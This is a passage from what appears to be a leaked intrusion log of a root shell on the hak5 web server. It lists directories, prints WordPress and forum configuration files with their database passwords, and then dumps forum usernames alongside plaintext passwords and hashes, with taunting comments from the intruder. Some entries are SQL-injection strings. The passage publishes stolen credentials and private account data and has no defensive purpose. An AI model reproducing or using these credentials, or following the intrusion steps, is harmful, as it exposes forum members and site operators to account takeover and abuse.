hak5 4096 Apr 22 2007 web_users/ 21941 lrwxrwxrwx 1 hak5 hak5 11 Jul 22 2008 www -> public_html/ 21942 -rw-r--r-- 1 hak5 hak5 658 Feb 22 2008 .zshrc 21943 drwxrwxrwx 25 nobody nobody 4096 Jun 24 14:51 zz/ 21944 root@web02 [/home2/hak5]# ls -la .mozilla/ 21945 total 16 21946 drwxr-xr-x 4 hak5 hak5 4096 Jul 21 2008 ./ 21947 drwx--x--x 25 hak5 hak5 4096 Jul 2 21:26 ../ 21948 drwxr-xr-x 2 hak5 hak5 4096 Jul 21 2008 extensions/ 21949 drwxr-xr-x 2 hak5 hak5 4096 Jul 21 2008 plugins/ 21950 root@web02 [/home2/hak5]# ls -la rev3 21951 total 16 21952 drwxr-xr-x 3 hak5 hak5 4096 Aug 20 2008 ./ 21953 drwx--x--x 25 hak5 hak5 4096 Jul 2 21:26 ../ 21954 -rw------- 1 hak5 hak5 13 Jun 22 03:14 .ftpquota 21955 drwxr-xr-x 3 hak5 hak5 4096 Aug 19 2008 promoREV3/ 21956 root@web02 [/home2/hak5]# cd www/ 21957 root@web02 [/home2/hak5/www]# ls -la 21958 total 104412 21959 drwxr-xr-x 2 hak5 hak5 4096 Dec 22 2007 ~/ 21960 drwxr-xr-x 64 hak5 nobody 4096 Jul 9 12:10 ./ 21961 drwx--x--x 25 hak5 hak5 4096 Jul 2 21:26 ../ 21962 -rw-r-xr-x 1 hak5 hak5 19 May 5 14:43 1nfo.php* 21963 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 2x01s1/ 21964 -rw-r-xr-x 1 hak5 hak5 1010 Apr 22 2007 400.shtml* 21965 -rw-r-xr-x 1 hak5 hak5 953 Apr 22 2007 403.shtml* 21966 -rw-r-xr-x 1 hak5 hak5 954 Apr 22 2007 404.shtml* 21967 drwxr-xr-x 2 hak5 hak5 4096 Jan 11 19:57 421/ 21968 -rw-r-xr-x 1 hak5 hak5 1256 Apr 22 2007 500.shtml* 21969 drwxr-xr-x 4 hak5 hak5 4096 Aug 16 2007 aardwolf/ 21970 drwxr-xr-x 6 hak5 hak5 4096 Mar 29 14:46 ~aardwolf/ 21971 drwxr-xr-x 3 hak5 hak5 4096 Nov 26 2008 ads/ 21972 drwxr-xr-x 3 hak5 hak5 4096 Jul 2 2008 aping/ 21973 drwxr-xr-x 2 hak5 hak5 4096 Feb 16 18:20 broken-flash-player/ 21974 drwxr-xr-x 3 hak5 hak5 4096 Feb 22 2008 cgi-bin/ 21975 drwxr-xr-x 4 hak5 hak5 4096 Apr 28 00:52 chat/ 21976 drwxr-xr-x 2 hak5 hak5 4096 Aug 27 2007 comic/ 21977 -rw-r-xr-x 1 hak5 hak5 219 Feb 14 2008 crossdomain.xml* 21978 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 css/ 21979 drwxr-xr-x 2 hak5 hak5 4096 Jul 28 2008 darren/ 21980 -rw-r-xr-x 1 hak5 hak5 434127 Apr 3 2008 digsby.jpg* 21981 drwxr-xr-x 7 hak5 hak5 4096 Jan 17 2008 docuwiki/ 21982 drwxr-xr-x 3 hak5 hak5 4096 May 4 2007 e/ 21983 -rw-r-xr-x 1 hak5 hak5 7 Apr 29 09:51 eggs.txt* 21984 drwxr-xr-x 2 hak5 hak5 4096 Apr 26 15:33 episodes/ 21985 drwxr-xr-x 2 hak5 hak5 4096 Jan 9 2008 eps/ 21986 drwxr-xr-x 2 hak5 hak5 4096 Dec 2 2008 evilserver/ 21987 -rw-r-xr-x 1 hak5 hak5 6894 Apr 23 2007 favicon.ico* 21988 drwxr-xr-x 2 hak5 hak5 4096 Apr 15 11:24 files/ 21989 -rw-r-xr-x 1 hak5 hak5 132711 Feb 14 2006 FlashIRCChat.swf* 21990 drwxr-xr-x 2 hak5 hak5 4096 Sep 9 2008 fon/ 21991 drwxr-xr-x 22 hak5 hak5 4096 Jun 28 19:51 forums/ 21992 drwxr-xr-x 20 hak5 hak5 4096 Oct 6 2008 forums_backup/ 21993 -rw-r-xr-x 1 hak5 hak5 96263988 Apr 22 16:35 21994 Hak5--all-themes-and-bumpers.zip* 21995 -rw-r-xr-x 1 hak5 hak5 116237 Aug 15 2008 hak5black.jpg* 21996 -rw-r-xr-x 1 hak5 hak5 58410 Sep 10 2008 hak5--stickers2.jpg* 21997 drwxr-xr-x 2 hak5 hak5 4096 Nov 19 2008 HakHouseCamSetup/ 21998 -rw-r-xr-x 1 hak5 hak5 864 Oct 8 2007 hitachi.html* 21999 -rw-r-xr-x 1 hak5 hak5 1859 Jul 9 12:10 .htaccess* 22000 drwxr-xr-x 29 hak5 hak5 12288 Jul 4 09:21 images/ 22001 drwxr-xr-x 5 hak5 hak5 4096 Jul 13 2006 img/ 22002 -rw-r-xr-x 1 hak5 hak5 347 Apr 1 2008 index.html.aprilfools* 22003 -rw-r-xr-x 1 hak5 hak5 149 Apr 22 2007 index.html.bak* 22004 -rw-r-xr-x 1 hak5 hak5 397 Jun 20 10:49 index.php* 22005 -rw-r-xr-x 1 hak5 hak5 21 Feb 22 2008 info.php* 22006 -rw-r-xr-x 1 hak5 hak5 13806 Feb 13 2008 IrcClient.swf* 22007 drwxr-xr-x 2 hak5 hak5 4096 Sep 21 2007 jangl/ 22008 drwxr-xr-x 2 hak5 hak5 4096 May 11 20:29 js/ 22009 -rw-r-xr-x 1 hak5 hak5 121177 Jan 19 2004 kerberos.jpg* 22010 -rw-r-xr-x 1 hak5 hak5 54401 Apr 22 2007 kerby503.jpg* 22011 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 lanparty/ 22012 -rw-r-xr-x 1 hak5 hak5 15410 Jun 20 10:49 license.txt* 22013 drwxr-xr-x 4 hak5 hak5 4096 Jun 4 2007 live00/ 22014 -rw-r-xr-x 1 hak5 hak5 373983 Apr 6 2008 logo.psd* 22015 -rw-r-xr-x 1 hak5 hak5 1140360 Sep 27 2008 lp.exe* 22016 -rw-r-xr-x 1 hak5 hak5 296996 Jul 1 2008 mediakit.pdf* 22017 -rw-r-xr-x 1 hak5 hak5 11730 Apr 1 2008 monkey.gif* 22018 -rw-r-xr-x 1 hak5 hak5 47175 Apr 1 2008 monkey.jpg* 22019 drwxr-xr-x 2 hak5 hak5 4096 Aug 26 2007 music/ 22020 drwxr-xr-x 2 hak5 hak5 4096 Sep 6 2007 noob/ 22021 drwxr-xr-x 3 hak5 hak5 4096 Apr 13 2008 nooblube/ 22022 drwxr-xr-x 2 hak5 hak5 4096 Mar 31 2008 omniotaku/ 22023 -rw-r-xr-x 1 hak5 hak5 104756 Mar 31 2008 omniotaku.jpg* 22024 drwxr-xr-x 3 hak5 hak5 4096 May 7 2007 packages/ 22025 -rw-r-xr-x 1 hak5 hak5 455 Jun 28 19:47 php.ini* 22026 drwxr-xr-x 7 hak5 hak5 4096 Jun 26 19:01 phpMyBackupPro/ 22027 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 picture_library/ 22028 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 plesk-stat/ 22029 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 poll/ 22030 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 polls/ 22031 drwxr-xr-x 2 hak5 hak5 4096 Mar 20 16:21 promo/ 22032 -rw-r-xr-x 1 hak5 hak5 7638 Jun 20 10:49 readme.html* 22033 -rw-r--r-- 1 hak5 hak5 106 Jun 30 23:29 realdarren.txt 22034 drwxr-xr-x 6 hak5 hak5 4096 Jul 11 2008 releases/ 22035 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 remote/ 22036 drwxr-xr-x 2 hak5 hak5 4096 Mar 6 10:25 reserved/ 22037 drwxr-xr-x 3 hak5 hak5 4096 Feb 20 00:31 rss/ 22038 -rw-r-xr-x 1 hak5 hak5 1202 Apr 29 09:56 rtt.php* 22039 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 rules/ 22040 -rw-r-xr-x 1 hak5 hak5 1712 Dec 29 2008 segment.php* 22041 drwxr-xr-x 2 hak5 hak5 4096 Aug 2 2008 setcam/ 22042 drwxr-xr-x 17 hak5 hak5 4096 Jul 2 17:09 shop/ 22043 drwxrwxrwx 2 hak5 hak5 4096 Jul 1 14:47 shopp/ 22044 drwxr-xr-x 2 hak5 hak5 4096 Sep 26 2008 somethingnew/ 22045 drwxr-xr-x 12 hak5 hak5 4096 May 5 16:12 store_2/ 22046 drwxr-xr-x 13 hak5 hak5 4096 Jul 2 21:39 store_3/ 22047 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 stream/ 22048 -rw-r-xr-x 1 hak5 hak5 715 Aug 14 2007 stream.html* 22049 drwxr-xr-x 2 hak5 hak5 4096 Dec 21 2007 stuff/ 22050 drwxr-xr-x 2 hak5 hak5 4096 Feb 23 2008 suspended.page/ 22051 -rw-r-xr-x 1 hak5 hak5 6817944 Oct 31 2008 telcobobs-stereo.mp4* 22052 drwxr-xr-x 9 hak5 hak5 4096 Jun 30 15:30 temp/ 22053 drwxr-xr-x 9 hak5 hak5 4096 Apr 22 2007 test/ 22054 -rw-r-xr-x 1 hak5 hak5 830 Dec 12 2008 trivia.php* 22055 -rw-r-xr-x 1 hak5 hak5 100987 Jul 1 12:01 twin.html* 22056 drwxr-xr-x 3 hak5 hak5 4096 Jun 10 10:49 w/ 22057 drwxr-xr-x 7 hak5 hak5 4096 Jun 20 10:50 wp-admin/ 22058 -rw-r-xr-x 1 hak5 hak5 40543 Jun 20 10:49 wp-app.php* 22059 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-atom.php* 22060 drwxr-xr-x 2 hak5 hak5 4096 Feb 24 18:03 wpau-backup/ 22061 -rw-r-xr-x 1 hak5 hak5 274 Jun 20 10:49 wp-blog-header.php* 22062 -rw-r-xr-x 1 hak5 hak5 3649 Jun 20 10:49 wp-comments-post.php* 22063 -rw-r-xr-x 1 hak5 hak5 238 Jun 20 10:49 wp-commentsrss2.php* 22064 -rw-r-xr-x 1 hak5 hak5 910 Feb 22 2008 wp-config.php* 22065 -rw-r-xr-x 1 hak5 hak5 2626 Jun 20 10:49 wp-config-sample.php* 22066 drwxr-xr-x 13 hak5 hak5 4096 Jul 2 22:40 wp-content/ 22067 -rw-r-xr-x 1 hak5 hak5 1254 Jun 20 10:49 wp-cron.php* 22068 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-feed.php* 22069 drwxr-xr-x 6 hak5 hak5 4096 Jun 20 10:49 wp-includes/ 22070 -rw-r-xr-x 1 hak5 hak5 1946 Jun 20 10:49 wp-links-opml.php* 22071 -rw-r-xr-x 1 hak5 hak5 2341 Jun 20 10:49 wp-load.php* 22072 -rw-r-xr-x 1 hak5 hak5 21019 Jun 20 10:49 wp-login.php* 22073 -rw-r-xr-x 1 hak5 hak5 7113 Jun 20 10:49 wp-mail.php* 22074 -rw-r-xr-x 1 hak5 hak5 487 Jun 20 10:49 wp-pass.php* 22075 -rw-r-xr-x 1 hak5 hak5 218 Jun 20 10:49 wp-rdf.php* 22076 -rw-r-xr-x 1 hak5 hak5 316 Jun 20 10:49 wp-register.php* 22077 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-rss2.php* 22078 -rw-r-xr-x 1 hak5 hak5 218 Jun 20 10:49 wp-rss.php* 22079 -rw-r-xr-x 1 hak5 hak5 21213 Jun 20 10:49 wp-settings.php* 22080 -rw-r-xr-x 1 hak5 hak5 3434 Jun 20 10:49 wp-trackback.php* 22081 -rw-r-xr-x 1 hak5 hak5 92144 Jun 20 10:49 xmlrpc.php* 22082 drwxr-xr-x 11 hak5 hak5 4096 Mar 3 2008 yshout/ 22083 root@web02 [/home2/hak5/www]# cat wp-config.php 22084 <?php 22085 // ** MySQL settings ** // 22086 define('DB_NAME', 'hak5_hak5wp'); // The name of the database 22087 define('DB_USER', 'hak5_wp'); // Your MySQL username 22088 define('DB_PASSWORD', 'hak512qwasZXhak512qwasZX'); // ...and password 22089 define('DB_HOST', 'localhost'); // 99% chance you won't need to change this 22090 value 22091 define('WP_CACHE', true); 22092 22093 // You can have multiple installations in one database if you give each a 22094 unique prefix 22095 $table_prefix = 'wp_'; // Only numbers, letters, and underscores please! 22096 22097 // Change this to localize WordPress. A corresponding MO file for the 22098 // chosen language must be installed to wp-includes/languages. 22099 // For example, install de.mo to wp-includes/languages and set WPLANG to 'de' 22100 // to enable German language support. 22101 define ('WPLANG', ''); 22102 22103 /* That's all, stop editing! Happy blogging. */ 22104 22105 define('ABSPATH', dirname(__FILE__).'/'); 22106 require_once(ABSPATH.'wp-settings.php'); 22107 ?>root@web02 [/home2/hak5/www]# ls -la 22108 total 104412 22109 drwxr-xr-x 2 hak5 hak5 4096 Dec 22 2007 ~/ 22110 drwxr-xr-x 64 hak5 nobody 4096 Jul 9 12:10 ./ 22111 drwx--x--x 25 hak5 hak5 4096 Jul 2 21:26 ../ 22112 -rw-r-xr-x 1 hak5 hak5 19 May 5 14:43 1nfo.php* 22113 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 2x01s1/ 22114 -rw-r-xr-x 1 hak5 hak5 1010 Apr 22 2007 400.shtml* 22115 -rw-r-xr-x 1 hak5 hak5 953 Apr 22 2007 403.shtml* 22116 -rw-r-xr-x 1 hak5 hak5 954 Apr 22 2007 404.shtml* 22117 drwxr-xr-x 2 hak5 hak5 4096 Jan 11 19:57 421/ 22118 -rw-r-xr-x 1 hak5 hak5 1256 Apr 22 2007 500.shtml* 22119 drwxr-xr-x 4 hak5 hak5 4096 Aug 16 2007 aardwolf/ 22120 drwxr-xr-x 6 hak5 hak5 4096 Mar 29 14:46 ~aardwolf/ 22121 drwxr-xr-x 3 hak5 hak5 4096 Nov 26 2008 ads/ 22122 drwxr-xr-x 3 hak5 hak5 4096 Jul 2 2008 aping/ 22123 drwxr-xr-x 2 hak5 hak5 4096 Feb 16 18:20 broken-flash-player/ 22124 drwxr-xr-x 3 hak5 hak5 4096 Feb 22 2008 cgi-bin/ 22125 drwxr-xr-x 4 hak5 hak5 4096 Apr 28 00:52 chat/ 22126 drwxr-xr-x 2 hak5 hak5 4096 Aug 27 2007 comic/ 22127 -rw-r-xr-x 1 hak5 hak5 219 Feb 14 2008 crossdomain.xml* 22128 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 css/ 22129 drwxr-xr-x 2 hak5 hak5 4096 Jul 28 2008 darren/ 22130 -rw-r-xr-x 1 hak5 hak5 434127 Apr 3 2008 digsby.jpg* 22131 drwxr-xr-x 7 hak5 hak5 4096 Jan 17 2008 docuwiki/ 22132 drwxr-xr-x 3 hak5 hak5 4096 May 4 2007 e/ 22133 -rw-r-xr-x 1 hak5 hak5 7 Apr 29 09:51 eggs.txt* 22134 drwxr-xr-x 2 hak5 hak5 4096 Apr 26 15:33 episodes/ 22135 drwxr-xr-x 2 hak5 hak5 4096 Jan 9 2008 eps/ 22136 drwxr-xr-x 2 hak5 hak5 4096 Dec 2 2008 evilserver/ 22137 -rw-r-xr-x 1 hak5 hak5 6894 Apr 23 2007 favicon.ico* 22138 drwxr-xr-x 2 hak5 hak5 4096 Apr 15 11:24 files/ 22139 -rw-r-xr-x 1 hak5 hak5 132711 Feb 14 2006 FlashIRCChat.swf* 22140 drwxr-xr-x 2 hak5 hak5 4096 Sep 9 2008 fon/ 22141 drwxr-xr-x 22 hak5 hak5 4096 Jun 28 19:51 forums/ 22142 drwxr-xr-x 20 hak5 hak5 4096 Oct 6 2008 forums_backup/ 22143 -rw-r-xr-x 1 hak5 hak5 96263988 Apr 22 16:35 22144 Hak5--all-themes-and-bumpers.zip* 22145 -rw-r-xr-x 1 hak5 hak5 116237 Aug 15 2008 hak5black.jpg* 22146 -rw-r-xr-x 1 hak5 hak5 58410 Sep 10 2008 hak5--stickers2.jpg* 22147 drwxr-xr-x 2 hak5 hak5 4096 Nov 19 2008 HakHouseCamSetup/ 22148 -rw-r-xr-x 1 hak5 hak5 864 Oct 8 2007 hitachi.html* 22149 -rw-r-xr-x 1 hak5 hak5 1859 Jul 9 12:10 .htaccess* 22150 drwxr-xr-x 29 hak5 hak5 12288 Jul 4 09:21 images/ 22151 drwxr-xr-x 5 hak5 hak5 4096 Jul 13 2006 img/ 22152 -rw-r-xr-x 1 hak5 hak5 347 Apr 1 2008 index.html.aprilfools* 22153 -rw-r-xr-x 1 hak5 hak5 149 Apr 22 2007 index.html.bak* 22154 -rw-r-xr-x 1 hak5 hak5 397 Jun 20 10:49 index.php* 22155 -rw-r-xr-x 1 hak5 hak5 21 Feb 22 2008 info.php* 22156 -rw-r-xr-x 1 hak5 hak5 13806 Feb 13 2008 IrcClient.swf* 22157 drwxr-xr-x 2 hak5 hak5 4096 Sep 21 2007 jangl/ 22158 drwxr-xr-x 2 hak5 hak5 4096 May 11 20:29 js/ 22159 -rw-r-xr-x 1 hak5 hak5 121177 Jan 19 2004 kerberos.jpg* 22160 -rw-r-xr-x 1 hak5 hak5 54401 Apr 22 2007 kerby503.jpg* 22161 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 lanparty/ 22162 -rw-r-xr-x 1 hak5 hak5 15410 Jun 20 10:49 license.txt* 22163 drwxr-xr-x 4 hak5 hak5 4096 Jun 4 2007 live00/ 22164 -rw-r-xr-x 1 hak5 hak5 373983 Apr 6 2008 logo.psd* 22165 -rw-r-xr-x 1 hak5 hak5 1140360 Sep 27 2008 lp.exe* 22166 -rw-r-xr-x 1 hak5 hak5 296996 Jul 1 2008 mediakit.pdf* 22167 -rw-r-xr-x 1 hak5 hak5 11730 Apr 1 2008 monkey.gif* 22168 -rw-r-xr-x 1 hak5 hak5 47175 Apr 1 2008 monkey.jpg* 22169 drwxr-xr-x 2 hak5 hak5 4096 Aug 26 2007 music/ 22170 drwxr-xr-x 2 hak5 hak5 4096 Sep 6 2007 noob/ 22171 drwxr-xr-x 3 hak5 hak5 4096 Apr 13 2008 nooblube/ 22172 drwxr-xr-x 2 hak5 hak5 4096 Mar 31 2008 omniotaku/ 22173 -rw-r-xr-x 1 hak5 hak5 104756 Mar 31 2008 omniotaku.jpg* 22174 drwxr-xr-x 3 hak5 hak5 4096 May 7 2007 packages/ 22175 -rw-r-xr-x 1 hak5 hak5 455 Jun 28 19:47 php.ini* 22176 drwxr-xr-x 7 hak5 hak5 4096 Jun 26 19:01 phpMyBackupPro/ 22177 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 picture_library/ 22178 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 plesk-stat/ 22179 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 poll/ 22180 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 polls/ 22181 drwxr-xr-x 2 hak5 hak5 4096 Mar 20 16:21 promo/ 22182 -rw-r-xr-x 1 hak5 hak5 7638 Jun 20 10:49 readme.html* 22183 -rw-r--r-- 1 hak5 hak5 106 Jun 30 23:29 realdarren.txt 22184 drwxr-xr-x 6 hak5 hak5 4096 Jul 11 2008 releases/ 22185 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 remote/ 22186 drwxr-xr-x 2 hak5 hak5 4096 Mar 6 10:25 reserved/ 22187 drwxr-xr-x 3 hak5 hak5 4096 Feb 20 00:31 rss/ 22188 -rw-r-xr-x 1 hak5 hak5 1202 Apr 29 09:56 rtt.php* 22189 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 rules/ 22190 -rw-r-xr-x 1 hak5 hak5 1712 Dec 29 2008 segment.php* 22191 drwxr-xr-x 2 hak5 hak5 4096 Aug 2 2008 setcam/ 22192 drwxr-xr-x 17 hak5 hak5 4096 Jul 2 17:09 shop/ 22193 drwxrwxrwx 2 hak5 hak5 4096 Jul 1 14:47 shopp/ 22194 drwxr-xr-x 2 hak5 hak5 4096 Sep 26 2008 somethingnew/ 22195 drwxr-xr-x 12 hak5 hak5 4096 May 5 16:12 store_2/ 22196 drwxr-xr-x 13 hak5 hak5 4096 Jul 2 21:39 store_3/ 22197 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 stream/ 22198 -rw-r-xr-x 1 hak5 hak5 715 Aug 14 2007 stream.html* 22199 drwxr-xr-x 2 hak5 hak5 4096 Dec 21 2007 stuff/ 22200 drwxr-xr-x 2 hak5 hak5 4096 Feb 23 2008 suspended.page/ 22201 -rw-r-xr-x 1 hak5 hak5 6817944 Oct 31 2008 telcobobs-stereo.mp4* 22202 drwxr-xr-x 9 hak5 hak5 4096 Jun 30 15:30 temp/ 22203 drwxr-xr-x 9 hak5 hak5 4096 Apr 22 2007 test/ 22204 -rw-r-xr-x 1 hak5 hak5 830 Dec 12 2008 trivia.php* 22205 -rw-r-xr-x 1 hak5 hak5 100987 Jul 1 12:01 twin.html* 22206 drwxr-xr-x 3 hak5 hak5 4096 Jun 10 10:49 w/ 22207 drwxr-xr-x 7 hak5 hak5 4096 Jun 20 10:50 wp-admin/ 22208 -rw-r-xr-x 1 hak5 hak5 40543 Jun 20 10:49 wp-app.php* 22209 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-atom.php* 22210 drwxr-xr-x 2 hak5 hak5 4096 Feb 24 18:03 wpau-backup/ 22211 -rw-r-xr-x 1 hak5 hak5 274 Jun 20 10:49 wp-blog-header.php* 22212 -rw-r-xr-x 1 hak5 hak5 3649 Jun 20 10:49 wp-comments-post.php* 22213 -rw-r-xr-x 1 hak5 hak5 238 Jun 20 10:49 wp-commentsrss2.php* 22214 -rw-r-xr-x 1 hak5 hak5 910 Feb 22 2008 wp-config.php* 22215 -rw-r-xr-x 1 hak5 hak5 2626 Jun 20 10:49 wp-config-sample.php* 22216 drwxr-xr-x 13 hak5 hak5 4096 Jul 2 22:40 wp-content/ 22217 -rw-r-xr-x 1 hak5 hak5 1254 Jun 20 10:49 wp-cron.php* 22218 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-feed.php* 22219 drwxr-xr-x 6 hak5 hak5 4096 Jun 20 10:49 wp-includes/ 22220 -rw-r-xr-x 1 hak5 hak5 1946 Jun 20 10:49 wp-links-opml.php* 22221 -rw-r-xr-x 1 hak5 hak5 2341 Jun 20 10:49 wp-load.php* 22222 -rw-r-xr-x 1 hak5 hak5 21019 Jun 20 10:49 wp-login.php* 22223 -rw-r-xr-x 1 hak5 hak5 7113 Jun 20 10:49 wp-mail.php* 22224 -rw-r-xr-x 1 hak5 hak5 487 Jun 20 10:49 wp-pass.php* 22225 -rw-r-xr-x 1 hak5 hak5 218 Jun 20 10:49 wp-rdf.php* 22226 -rw-r-xr-x 1 hak5 hak5 316 Jun 20 10:49 wp-register.php* 22227 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-rss2.php* 22228 -rw-r-xr-x 1 hak5 hak5 218 Jun 20 10:49 wp-rss.php* 22229 -rw-r-xr-x 1 hak5 hak5 21213 Jun 20 10:49 wp-settings.php* 22230 -rw-r-xr-x 1 hak5 hak5 3434 Jun 20 10:49 wp-trackback.php* 22231 -rw-r-xr-x 1 hak5 hak5 92144 Jun 20 10:49 xmlrpc.php* 22232 drwxr-xr-x 11 hak5 hak5 4096 Mar 3 2008 yshout/ 22233 root@web02 [/home2/hak5/www]# cd forums 22234 root@web02 [/home2/hak5/www/forums]# ls -la 22235 total 5240 22236 drwxr-xr-x 22 hak5 hak5 4096 Jun 28 19:51 ./ 22237 drwxr-xr-x 64 hak5 nobody 4096 Jul 9 12:10 ../ 22238 drwxr-xr-x 2 hak5 hak5 4096 Jun 29 18:36 admin/ 22239 -rw-r-xr-x 1 hak5 hak5 1247 May 9 2008 admin.php* 22240 drwxr-xr-x 4 hak5 hak5 4096 Jun 28 11:06 cache/ 22241 -rw-r-xr-x 1 hak5 hak5 1692 May 9 2008 conf_global.php* 22242 -rw-r-xr-x 1 hak5 hak5 0 May 9 2008 conf_global.php.dist* 22243 drwxr-xr-x 3 hak5 hak5 4096 May 9 2008 converge_local/ 22244 -rw-r--r-- 1 hak5 hak5 5180310 Jul 12 05:00 error_log 22245 -rw-r-xr-x 1 hak5 hak5 1150 Dec 22 2007 favicon.ico* 22246 drwxr-xr-x 6 hak5 hak5 4096 Oct 6 2008 gallery_setup/ 22247 -rw-r-xr-x 1 hak5 hak5 21447 Oct 6 2008 index.php* 22248 -rw-r-xr-x 1 hak5 hak5 9034 Oct 6 2008 init.php* 22249 drwxr-xr-x 3 hak5 hak5 4096 Feb 22 2008 interface/ 22250 drwxr-xr-x 7 hak5 hak5 4096 Oct 6 2008 ips_kernel/ 22251 drwxr-xr-x 4 hak5 hak5 4096 Oct 6 2008 jscripts/ 22252 drwxr-xr-x 2 hak5 hak5 4096 May 9 2008 lofiversion/ 22253 drwxr-xr-x 2 hak5 hak5 4096 Oct 6 2008 mod_install/ 22254 drwxr-xr-x 2 hak5 hak5 4096 Oct 6 2008 modules/ 22255 drwxr-xr-x 4 hak5 hak5 4096 Oct 6 2008 resources/ 22256 drwxr-xr-x 2 hak5 hak5 4096 May 9 2008 retail/ 22257 drwxr-xr-x 4 hak5 hak5 4096 May 9 2008 skin_acp/ 22258 drwxr-xr-x 18 hak5 hak5 4096 Oct 6 2008 sources/ 22259 drwxr-xr-x 4 hak5 hak5 4096 May 9 2008 style_avatars/ 22260 drwxr-xr-x 4 hak5 hak5 4096 Oct 6 2008 style_captcha/ 22261 drwxr-xr-x 3 hak5 hak5 4096 May 9 2008 style_emoticons/ 22262 drwxr-xr-x 4 hak5 hak5 4096 Oct 6 2008 style_images/ 22263 drwxr-xr-x 6 hak5 hak5 4096 Oct 6 2008 upgrade_2.3.6/ 22264 drwxr-xr-x 26 hak5 hak5 36864 Jul 10 22:31 uploads/ 22265 root@web02 [/home2/hak5/www/forums]# cat conf_global.php 22266 <?php 22267 $INFO['sql_driver'] = 'mysql'; 22268 $INFO['sql_host'] = 'localhost'; 22269 $INFO['sql_database'] = 'hak5_ipb'; 22270 $INFO['sql_user'] = 'hak5_ipb'; 22271 $INFO['sql_pass'] = '!@qwasZX'; 22272 $INFO['sql_tbl_prefix'] = 'ibf_'; 22273 $INFO['sql_debug'] = '1'; 22274 $INFO['board_start'] = '1203745701'; 22275 $INFO['installed'] = '1'; 22276 $INFO['php_ext'] = 'php'; 22277 $INFO['safe_mode'] = '0'; 22278 $INFO['board_url'] = 'http://hak5.org/forums'; 22279 $INFO['banned_group'] = '5'; 22280 $INFO['admin_group'] = '4'; 22281 $INFO['guest_group'] = '2'; 22282 $INFO['member_group'] = '3'; 22283 $INFO['auth_group'] = '1'; 22284 $INFO['mysql_tbl_type'] = 'MyISAM'; 22285 $INFO['conv_chosen'] = 'ipb_conv_smf11'; 22286 $INFO['conv_configured'] = '1'; 22287 $INFO['hb_sql_tbl_prefix'] = 'smf_'; 22288 $INFO['hb_sql_host'] = 'localhost'; 22289 $INFO['hb_sql_database'] = 'hak5_hak5smf'; 22290 $INFO['hb_sql_user'] = 'hak5_smf'; 22291 $INFO['hb_sql_pass'] = '!qaZ@wsX!qaZ@wsX'; 22292 $INFO['hb_server_path'] = ''; 22293 $INFO['per_members'] = '2000'; 22294 $INFO['per_topics'] = '2000'; 22295 $INFO['per_posts'] = '1500'; 22296 $INFO['per_attach'] = '100'; 22297 $INFO['hb_upload_dir'] = 22298 '/home2/hak5/public_html/forums/attachments'; 22299 $INFO['conv_members'] = '1'; 22300 $INFO['conv_forums'] = '1'; 22301 $INFO['conv_topics'] = '1'; 22302 $INFO['conv_posts'] = '1'; 22303 $INFO['conv_pms'] = '1'; 22304 $INFO['conv_polls'] = '1'; 22305 $INFO['conv_avatars'] = '1'; 22306 $INFO['conv_attachments'] = '1'; 22307 $INFO['conv_moderators'] = ''; 22308 $INFO['conv_ranks'] = ''; 22309 $INFO['conv_groups'] = ''; 22310 $INFO['conv_group_guest'] = ''; 22311 $INFO['conv_group_admin'] = ''; 22312 $INFO['conv_group_member'] = ' '; 22313 $INFO['conv_group_auth'] = ''; 22314 $INFO['upload_dir'] = 22315 '/home2/hak5/public_html/forums/uploads'; 22316 $INFO['hb_sql_driver'] = 'mysql'; 22317 22318 ?> 22319 22320 /* 22321 * Passwords reversed through local OpenSSL side channel attacks. 22322 * 22323 * Or not... we don't want to start another whitehat freakout 22324 * 22325 * 3000 lines coming up, just warning you. 22326 */ 22327 22328 root@web02 [/home2/hak5/www/forums]# ./dump_passwords # hehe 22329 08170817 - 08170817 22330 0lzi - 1337noob 22331 0ptimusprime - fudukePaulita 22332 0x3 - 1645467 22333 13lawer - trobotrage 22334 14267 - bee559535c218948ab47610a675fb5e9 22335 14344 - 19d77e0fefc65d0d6ad9a0dab85fa0aa 22336 1nfolookup - Samuel22 22337 1sniper - go2he1l 22338 1sniper - qwerty1 22339 2varun8 - 2vdpb8 22340 !!chemise353116 - DBIPSAt679 22341 !!-kitchen-32616 - HzA9Pkl242 22342 !articles5538 - kW88UnC931 22343 []?[] - 33into29=fun 22344 3656 - 140d93d222d2a0627cedd7c8afa85ebd 22345 ' - ' or 1=1-- <--- someone is a hacker 22346 ' or '1'='1 - ' OR '1'='1 22347 3aruin - redpotter23 22348 3tek - sucit 22349 3tek - suckit 22350 3tek - SUCKIT 22351 3vmike - khlozano 22352 [3w`sparky] - bAWANA2U 22353 [3w`sparky] - Bawana2u 22354 4051kanobi - abigail1E 22355 4cid6urn - ALI009ME 22356 *5h4d0w* - j000717121426 22357 5zerocool - tammy1213 22358 70096007 - greenday10069007 22359 70x!c - %3m3Z3PX3H39LLzK1QS&e83CBc 22360 786soul - aashna143 22361 9djv4k4syiaw33grutyo - j3jf2dn7nv9mxazmtirt 22362 a1sporty15 - proszcz1569 22363 a - a 22364 aamonsterpully - RqPomk31 22365 aaobiills - Nqkhdqc361 22366 aaon - 